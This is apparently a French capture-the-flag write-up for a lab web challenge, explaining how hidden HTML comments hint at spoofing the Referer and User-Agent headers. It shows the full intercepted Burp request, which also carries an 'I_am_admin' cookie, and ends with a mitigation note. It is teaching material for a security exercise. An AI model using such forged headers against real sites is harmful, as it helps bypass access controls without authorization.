# Request manipulation

*EXPLICATION*

Comme relevé en phase d'énumération, on remarque dans le footer que le "copyright" est un lien avec une URL un peu étrange (`?page=<SHA256 TAMERE>`).

Finalement, ce hash n'était pas d'une très grande utilité. Cependant, lorsqu'on examine le code source de la page, on remarque deux commentaires HTML intéressants :

```
<!--
You must cumming from : "https://www.nsa.gov/" to go to the next step
-->


Let's use this browser : "ft_bornToSec". It will help you a lot
```

Le premier fait référence au header **Referer** de la requête ; le second, au header **User-Agent**. On les manipule pour qu'ils aient la valeur désirée en interceptant la requête avec Burp :

```
GET /?page=e43ad1fdc54babe674da7c7b8f0127bde61de3fbe01def7d00f151c2fcca6d1c HTTP/1.1
Host: 192.168.1.20
User-Agent: ft_bornToSec
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.nsa.gov/
Cookie: I_am_admin=68934a3e9455fa72420237eb05902327
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

```

La page renvoyée nous permet de récupérer un **flag**.

*RESSOURCES*

Un script python permet l'envoi de la requête modifiée et affiche la page contenant le flag.

*MITIGATION*

> Ne pas faire confiance aux headers transmis avec les requêtes HTTP pour des opérations sensibles / du contrôle d'accès, ils pourront toujours être spoofés par l'utilisateur.